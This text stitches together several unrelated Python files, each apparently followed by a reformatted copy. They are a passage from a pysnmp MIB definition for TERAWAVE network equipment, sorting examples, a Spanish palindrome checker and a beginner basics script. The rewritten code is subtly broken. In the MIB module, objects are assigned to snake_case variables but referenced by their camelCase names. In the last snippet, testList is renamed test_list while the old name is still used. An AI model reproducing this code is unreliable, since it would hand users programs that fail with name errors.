teraSystemIPAddress.setDescription('') tera_system_ip_net_mask = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 7, 2), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemIPNetMask.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemIPNetMask.setDescription('') tera_system_ip_gateway = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 7, 3), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemIPGateway.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemIPGateway.setDescription('') tera_ne_slot_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 9)) if mibBuilder.loadTexts: teraNESlotTable.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotTable.setDescription(' table teraNESlotTable') tera_ne_slot_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 9, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraInstallSlotNumber'), (0, 'TERAWAVE-terasystem-MIB', 'teraPonIndex'), (0, 'TERAWAVE-terasystem-MIB', 'teraEventSlot')) if mibBuilder.loadTexts: teraNESlotTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotTableEntry.setDescription(' table entry teraNESlotTableEntry ') tera_ne_slot_unit_type = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 9, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(-1, 1000))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNESlotUnitType.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotUnitType.setDescription('') tera_ne_slot_unit_admin_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 9, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6))).clone(namedValues=named_values(('provision', 1), ('none', 2), ('is', 3), ('moos', 4), ('reset', 5), ('trunk', 6)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNESlotUnitAdminStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotUnitAdminStatus.setDescription('') tera_w_link_ip_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 10)) if mibBuilder.loadTexts: teraWLinkIPTable.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPTable.setDescription(' table teraWLinkIPTable') tera_w_link_ip_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraInstallSlotNumber'), (0, 'TERAWAVE-terasystem-MIB', 'teraPonIndex')) if mibBuilder.loadTexts: teraWLinkIPTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPTableEntry.setDescription(' table entry teraWLinkIPTableEntry ') tera_w_link_ip_address = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 1), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraWLinkIPAddress.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPAddress.setDescription('') tera_w_link_ip_net_mask = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 2), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraWLinkIPNetMask.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPNetMask.setDescription('') tera_w_link_ip_gateway = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 3), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraWLinkIPGateway.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPGateway.setDescription('') tera_w_link_ip_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('set', 1), ('delete', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraWLinkIPStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPStatus.setDescription('') tera_ne_misc_table_group = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 11)) tera_ne_misc_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1)) tera_ne_level2_slot = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 4))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraNELevel2Slot.setStatus('mandatory') if mibBuilder.loadTexts: teraNELevel2Slot.setDescription('') tera_ne_zip_system = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('no', 1), ('zip-active', 2), ('zip-stby', 3), ('zip-all', 4)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNEZipSystem.setStatus('mandatory') if mibBuilder.loadTexts: teraNEZipSystem.setDescription('') tera_ne_reset = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('no', 1), ('reset', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNEReset.setStatus('mandatory') if mibBuilder.loadTexts: teraNEReset.setDescription('') tera_ne_time_zone = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 4), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNETimeZone.setStatus('mandatory') if mibBuilder.loadTexts: teraNETimeZone.setDescription('') tera_ne_inventory_override = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('disable', 1), ('enable', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNEInventoryOverride.setStatus('mandatory') if mibBuilder.loadTexts: teraNEInventoryOverride.setDescription('') tera_ne_serial_port_type = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('ppp', 1), ('dbshell', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNESerialPortType.setStatus('mandatory') if mibBuilder.loadTexts: teraNESerialPortType.setDescription('') tera_sys_object_id_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 12)) tera_tw300 = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 1), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraTW300.setStatus('mandatory') if mibBuilder.loadTexts: teraTW300.setDescription('') tera_tw600 = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 2), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraTW600.setStatus('mandatory') if mibBuilder.loadTexts: teraTW600.setDescription('') tera_tw1600 = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 3), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraTW1600.setStatus('mandatory') if mibBuilder.loadTexts: teraTW1600.setDescription('') tera_tw100 = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 4), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraTW100.setStatus('mandatory') if mibBuilder.loadTexts: teraTW100.setDescription('') tera_tw150_rtatm = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 5), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraTW150RTATM.setStatus('mandatory') if mibBuilder.loadTexts: teraTW150RTATM.setDescription('') tera_tw150_rttdm = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 6), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraTW150RTTDM.setStatus('mandatory') if mibBuilder.loadTexts: teraTW150RTTDM.setDescription('') tera_oat = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 7), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraOAT.setStatus('mandatory') if mibBuilder.loadTexts: teraOAT.setDescription('') tera_nei_dx_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 13)) if mibBuilder.loadTexts: teraNEIDxTable.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxTable.setDescription(' table teraNEIDxTable') tera_nei_dx_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 13, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'ifIndex')) if mibBuilder.loadTexts: teraNEIDxTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxTableEntry.setDescription(' table entry teraNEIDxTableEntry ') tera_nei_dx_slot_level1 = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 13, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 16))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraNEIDxSlotLevel1.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxSlotLevel1.setDescription('') tera_nei_dx_pon_id = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 13, 1, 2), integer32().subtype(subtypeSpec=value_range_constraint(1, 256))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraNEIDxPonID.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxPonID.setDescription('') tera_w_link_ip_range_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 14)) if mibBuilder.loadTexts: teraWLinkIPRangeTable.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeTable.setDescription(' table teraWLinkIPRangeTable') tera_w_link_ip_range_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'ifIndex')) if mibBuilder.loadTexts: teraWLinkIPRangeTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeTableEntry.setDescription(' table entry teraWLinkIPRangeTableEntry ') tera_w_link_ip_range_start = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1, 1), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraWLinkIPRangeStart.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeStart.setDescription('') tera_w_link_ip_range_end = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1, 2), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraWLinkIPRangeEnd.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeEnd.setDescription('') tera_w_link_ip_range_row_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('ok', 1), ('delete', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraWLinkIPRangeRowStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeRowStatus.setDescription('') tera_secondary_master_slave_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 16)) tera_secondary_master_slot_number = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 16, 1), integer32().subtype(subtypeSpec=value_range_constraint(0, 7))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSecondaryMasterSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraSecondaryMasterSlotNumber.setDescription('') tera_secondary_slave_slot_number = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 16, 2), integer32().subtype(subtypeSpec=value_range_constraint(0, 7))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSecondarySlaveSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraSecondarySlaveSlotNumber.setDescription('') tera_master_slave_state_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 17)) if mibBuilder.loadTexts: teraMasterSlaveStateTable.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlaveStateTable.setDescription(' table teraMasterSlaveStateTable') tera_master_slave_state_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraMasterSlaveStateIndex')) if mibBuilder.loadTexts: teraMasterSlaveStateTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlaveStateTableEntry.setDescription(' table entry teraMasterSlaveStateTableEntry ') tera_master_slave_state_index = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraMasterSlaveStateIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlaveStateIndex.setDescription('') tera_master_state = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2))).clone(namedValues=named_values(('unknown', 0), ('nobody', 1), ('master', 2)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraMasterState.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterState.setDescription('') tera_slave_state = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 3, 4, 5))).clone(namedValues=named_values(('unknown', 0), ('nobody', 1), ('slave', 3), ('slaveActive', 4), ('slaveFail', 5)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraSlaveState.setStatus('mandatory') if mibBuilder.loadTexts: teraSlaveState.setDescription('') tera_ppp_baud_rate_tbl = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 20)) tera_ppp_baud_rate_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1)) tera_ppp_admin_baud_rate = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2, 3, 4, 5, 6, 7))).clone(namedValues=named_values(('baud2400', 0), ('baud4800', 1), ('baud9600', 2), ('baud19200', 3), ('baud38400', 4), ('baud57600', 5), ('baud115200', 6), ('baud230400', 7)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraPPPAdminBaudRate.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPAdminBaudRate.setDescription('') tera_ppp_oper_baud_rate = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2, 3, 4, 5, 6, 7))).clone(namedValues=named_values(('baud2400', 0), ('baud4800', 1), ('baud9600', 2), ('baud19200', 3), ('baud38400', 4), ('baud57600', 5), ('baud115200', 6), ('baud230400', 7)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraPPPOperBaudRate.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPOperBaudRate.setDescription('') tera_ppp_admin_flow_control = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2))).clone(namedValues=named_values(('none', 0), ('xon-Xoff', 1), ('rTS-CTS', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraPPPAdminFlowControl.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPAdminFlowControl.setDescription('') tera_ppp_oper_flow_control = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2))).clone(namedValues=named_values(('none', 0), ('xon-Xoff', 1), ('rTS-CTS', 2)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraPPPOperFlowControl.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPOperFlowControl.setDescription('') tera_system_nat_group_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 24)) tera_system_nat_subnet_address = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 24, 1), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNATSubnetAddress.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNATSubnetAddress.setDescription('') tera_system_nat_subnet_mask = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 24, 2), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNATSubnetMask.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNATSubnetMask.setDescription('') tera_system_pcu_num_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 25)) tera_system_num_of_pcu = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 25, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1))).clone(namedValues=named_values(('pCU4', 0), ('pCU5', 1)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNumOfPCU.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNumOfPCU.setDescription('') tera_installed_system_info_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 26)) if mibBuilder.loadTexts: teraInstalledSystemInfoTable.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemInfoTable.setDescription(' table teraInstalledSystemInfoTable') tera_installed_system_info_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraInstallSlotNumber'), (0, 'TERAWAVE-terasystem-MIB', 'teraPonIndex')) if mibBuilder.loadTexts: teraInstalledSystemInfoTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemInfoTableEntry.setDescription(' table entry teraInstalledSystemInfoTableEntry ') tera_installed_system_name = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1, 1), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraInstalledSystemName.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemName.setDescription('') tera_installed_system_location = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1, 2), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraInstalledSystemLocation.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemLocation.setDescription('') tera_installed_ne_type = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2, 3, 4, 5, 7))).clone(namedValues=named_values(('unknown', 0), ('tw300', 1), ('tw600', 2), ('tw1600', 3), ('tw100', 4), ('tw150RT', 5), ('oat', 7)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraInstalledNEType.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledNEType.setDescription('') tera_craft_interface_group = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 28)) tera_craft_interface_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1)) tera_craft_port_stat = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enable', 1), ('disable', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraCraftPortStat.setStatus('mandatory') if mibBuilder.loadTexts: teraCraftPortStat.setDescription('') tera_craft_default_addr_stat = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enable', 1), ('disable', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraCraftDefaultAddrStat.setStatus('mandatory') if mibBuilder.loadTexts: teraCraftDefaultAddrStat.setDescription('') tera_snmp_state = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('ready', 1), ('notReady', 2)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraSNMPState.setStatus('mandatory') if mibBuilder.loadTexts: teraSNMPState.setDescription('') mibBuilder.exportSymbols('TERAWAVE-terasystem-MIB', teraClockSyncActiveNIMSlot=teraClockSyncActiveNIMSlot, teraCommunityGroupTable=teraCommunityGroupTable, teraLogMsgNumber=teraLogMsgNumber, teraSystemInstallTableEntry=teraSystemInstallTableEntry, teraNEModel=teraNEModel, teraLogNumberOfParams=teraLogNumberOfParams, teraNEInventoryOverride=teraNEInventoryOverride, teraWLinkIPGateway=teraWLinkIPGateway, teraNERangingCode=teraNERangingCode, teraLogNumber=teraLogNumber, teraClockSyncRevertive=teraClockSyncRevertive, teraNEType=teraNEType, teraWLinkIPRangeEnd=teraWLinkIPRangeEnd, teraLogFilterBySize=teraLogFilterBySize, teraSystemNECurrentDistance=teraSystemNECurrentDistance, teraNESlotUnitType=teraNESlotUnitType, teraNESerialPortType=teraNESerialPortType, teraSystemNEProvisionAdminStatus=teraSystemNEProvisionAdminStatus, teraClockSyncTable=teraClockSyncTable, teraAllLogsFilterGroupEntry=teraAllLogsFilterGroupEntry, teraInstallUnitAdminStatus=teraInstallUnitAdminStatus, teraInstallEquippedUnitType=teraInstallEquippedUnitType, teraNEInfoTableGroup=teraNEInfoTableGroup, teraLogTable=teraLogTable, teraLogGroup=teraLogGroup, teraNESlotTable=teraNESlotTable, teraPublicCommunity=teraPublicCommunity, teraNEZipSystem=teraNEZipSystem, teraPPPAdminBaudRate=teraPPPAdminBaudRate, teraNEIDxSlotLevel1=teraNEIDxSlotLevel1, teraMasterSlaveTable=teraMasterSlaveTable, teraPPPAdminFlowControl=teraPPPAdminFlowControl, teraSystemNEMaxLatency=teraSystemNEMaxLatency, teraCraftPortStat=teraCraftPortStat, teraInstallUnitOperStatus=teraInstallUnitOperStatus, teraSecondarySlaveSlotNumber=teraSecondarySlaveSlotNumber, teraPPPBaudRateTbl=teraPPPBaudRateTbl, teraNESWVersion=teraNESWVersion, teraPPPBaudRateTable=teraPPPBaudRateTable, teraLogMsgIndex=teraLogMsgIndex, teraClockSyncSecondaryStatus=teraClockSyncSecondaryStatus, teraWLinkIPRangeRowStatus=teraWLinkIPRangeRowStatus, teraNEIDxTable=teraNEIDxTable, teraWLinkIPNetMask=teraWLinkIPNetMask, teraSystemNERangingCode=teraSystemNERangingCode, teraTestCommunity=teraTestCommunity, teraSystemNATGroupTable=teraSystemNATGroupTable, teraSystemPCUNumTable=teraSystemPCUNumTable, teraCraftInterfaceGroup=teraCraftInterfaceGroup, teraSystemNumOfPCU=teraSystemNumOfPCU, teraSystemNEOperStatus=teraSystemNEOperStatus, teraSystemIPNetMask=teraSystemIPNetMask, teraInstallUnitRevision=teraInstallUnitRevision, teraMasterSlotNumber=teraMasterSlotNumber, teraClockSyncPrimarySource=teraClockSyncPrimarySource, teraCraftDefaultAddrStat=teraCraftDefaultAddrStat, teraInstalledSystemInfoTableEntry=teraInstalledSystemInfoTableEntry, teraInstallUnitName=teraInstallUnitName, teraSystemNEType=teraSystemNEType, teraInstallUnitType=teraInstallUnitType, teraLogStatus=teraLogStatus, teraOAT=teraOAT, teraMasterSlaveStateTableEntry=teraMasterSlaveStateTableEntry, teraWLinkIPTableEntry=teraWLinkIPTableEntry, teraSystem=teraSystem, teraLogFilterByNumber=teraLogFilterByNumber, teraTW1600=teraTW1600, teraClockSyncPrimaryNIMSlot=teraClockSyncPrimaryNIMSlot, teraClockSyncActiveStatus=teraClockSyncActiveStatus, teraSystemNEInventoryOverride=teraSystemNEInventoryOverride, teraAllLogsFilterGroup=teraAllLogsFilterGroup, teraLogParams=teraLogParams, teraWLinkIPTable=teraWLinkIPTable, teraWLinkIPRangeTableEntry=teraWLinkIPRangeTableEntry, teraSystemNEEocMaxBandWidth=teraSystemNEEocMaxBandWidth, terawave=terawave, teraSystemIPGroupTable=teraSystemIPGroupTable, teraLogNumberTableEntry=teraLogNumberTableEntry, teraLogFilterBySeverity=teraLogFilterBySeverity, teraWLinkIPAddress=teraWLinkIPAddress, teraSystemNERanging=teraSystemNERanging, teraInstallUnitSerial=teraInstallUnitSerial, teraInstalledNEType=teraInstalledNEType, teraInstallUnitSWVersion=teraInstallUnitSWVersion, teraInstalledSystemInfoTable=teraInstalledSystemInfoTable, teraSlotInstallTable=teraSlotInstallTable, teraSystemNEAponMaxLength=teraSystemNEAponMaxLength, teraClockSyncSecondaryNIMIfIndex=teraClockSyncSecondaryNIMIfIndex, teraSystemCurrTime=teraSystemCurrTime, teraClockSyncActiveSource=teraClockSyncActiveSource, teraClockSyncOperStatus=teraClockSyncOperStatus, teraNELevel2Slot=teraNELevel2Slot, teraMasterSlaveStateTable=teraMasterSlaveStateTable, teraAdminCommunity=teraAdminCommunity, teraWLinkIPRangeTable=teraWLinkIPRangeTable, teraSystemNATSubnetMask=teraSystemNATSubnetMask, teraSysObjectIdTable=teraSysObjectIdTable, teraTW100=teraTW100, teraSecondaryMasterSlaveTable=teraSecondaryMasterSlaveTable, teraSystemNATSubnetAddress=teraSystemNATSubnetAddress, teraTW150RTTDM=teraTW150RTTDM, teraTW300=teraTW300, teraInstalledSystemLocation=teraInstalledSystemLocation, teraNEReset=teraNEReset, teraPPPOperBaudRate=teraPPPOperBaudRate, teraSystemIPAddress=teraSystemIPAddress, teraNESlotTableEntry=teraNESlotTableEntry, teraNESlotUnitAdminStatus=teraNESlotUnitAdminStatus, teraTW600=teraTW600, teraNESWRevision=teraNESWRevision, teraInstallUnitMfgData=teraInstallUnitMfgData, teraSlotInstallTableEntry=teraSlotInstallTableEntry, teraLogTableEntry=teraLogTableEntry, teraSlotInstTablePar=teraSlotInstTablePar, teraSystemTime=teraSystemTime, teraGETCommunity=teraGETCommunity, teraSystemInstallTable=teraSystemInstallTable, teraClockSyncSecondaryNIMSlot=teraClockSyncSecondaryNIMSlot, teraClockSyncPrimaryNIMIfIndex=teraClockSyncPrimaryNIMIfIndex, teraNETimeZone=teraNETimeZone, teraLogNumberStatus=teraLogNumberStatus, teraNEIDxPonID=teraNEIDxPonID, teraClockSyncLastSource=teraClockSyncLastSource, teraLogClear=teraLogClear, teraSlaveState=teraSlaveState, teraMasterState=teraMasterState, teraCraftInterfaceTable=teraCraftInterfaceTable, teraWLinkIPStatus=teraWLinkIPStatus, teraClockSyncPrimaryStatus=teraClockSyncPrimaryStatus, teraTW150RTATM=teraTW150RTATM, teraMasterSlaveStateIndex=teraMasterSlaveStateIndex, teraPPPOperFlowControl=teraPPPOperFlowControl, teraInstallSlotNumber=teraInstallSlotNumber, teraInstalledSystemName=teraInstalledSystemName, teraNEMiscTableGroup=teraNEMiscTableGroup, teraSETCommunity=teraSETCommunity, teraClockSyncSecondarySource=teraClockSyncSecondarySource, teraClockSyncActiveNIMIfIndex=teraClockSyncActiveNIMIfIndex, teraSystemNEName=teraSystemNEName, teraSystemNEEocMinBandWidth=teraSystemNEEocMinBandWidth, teraNEMiscTable=teraNEMiscTable, teraSecondaryMasterSlotNumber=teraSecondaryMasterSlotNumber, teraSlaveSlotNumber=teraSlaveSlotNumber, teraLogNumberTable=teraLogNumberTable, teraLogNumberDescr=teraLogNumberDescr, teraNEIDxTableEntry=teraNEIDxTableEntry, teraWLinkIPRangeStart=teraWLinkIPRangeStart, teraNEInfoTable=teraNEInfoTable, teraLogFilterByTask=teraLogFilterByTask, teraSNMPState=teraSNMPState, teraSystemIPGateway=teraSystemIPGateway)
#!/usr/bin/python # -*- coding:utf-8 -*- #Filename: soreted_iter.py colors = [ 'red', 'green', 'blue', 'yellow' ] for color in sorted(colors): print (color) # >>> blue # green # red # yellow for color in sorted(colors, reverse=True): print (color) # >>> yellow # red # green # blue # >>> def compare_length(c1, c2): if len(c1) < len(c2): return -1 if len(c1) > len(c2): return 1 return 0 # print sorted(colors, cmp=compare_length) print (sorted(colors, key=len)) # >>> ['red', 'blue', 'green', 'yellow']
colors = ['red', 'green', 'blue', 'yellow'] for color in sorted(colors): print(color) for color in sorted(colors, reverse=True): print(color) def compare_length(c1, c2): if len(c1) < len(c2): return -1 if len(c1) > len(c2): return 1 return 0 print(sorted(colors, key=len))
#Ejercicio 2 palabra=input ("Escribe una palabra y vamos a analizar si es polindroma o no: ") p=len(palabra) capicua="" while p>0: p=p-1 capicua=capicua+palabra[p] #Concateno las letras una por una y las guardo if palabra ==capicua: print("La palabra escogida es polindroma") if palabra!= capicua: print("La palabra escogida no es polindroma")
palabra = input('Escribe una palabra y vamos a analizar si es polindroma o no: ') p = len(palabra) capicua = '' while p > 0: p = p - 1 capicua = capicua + palabra[p] if palabra == capicua: print('La palabra escogida es polindroma') if palabra != capicua: print('La palabra escogida no es polindroma')
print("Hello World") # The basics name = "joey" age = 27 print(name + str(age)) testList = [0,1,2] testList.append(3) testList.append(4) for member in testList: print(member) for index,member in enumerate(testList): print("Index: " + str(index) + " item: " + str(member)) # List Combining list1 = [1,3,5,7] list2 = [2,4,6,8] print(list1 + list2) # String fun mystring = "Hello World, I am a string!" print(mystring[:4]) print(mystring[4:]) print(mystring[2:5]) print(mystring[-4:]) print(mystring[::2]) # skip every second character print(mystring[::-1]) # reverse print(mystring.split(" "))
print('Hello World') name = 'joey' age = 27 print(name + str(age)) test_list = [0, 1, 2] testList.append(3) testList.append(4) for member in testList: print(member) for (index, member) in enumerate(testList): print('Index: ' + str(index) + ' item: ' + str(member)) list1 = [1, 3, 5, 7] list2 = [2, 4, 6, 8] print(list1 + list2) mystring = 'Hello World, I am a string!' print(mystring[:4]) print(mystring[4:]) print(mystring[2:5]) print(mystring[-4:]) print(mystring[::2]) print(mystring[::-1]) print(mystring.split(' '))
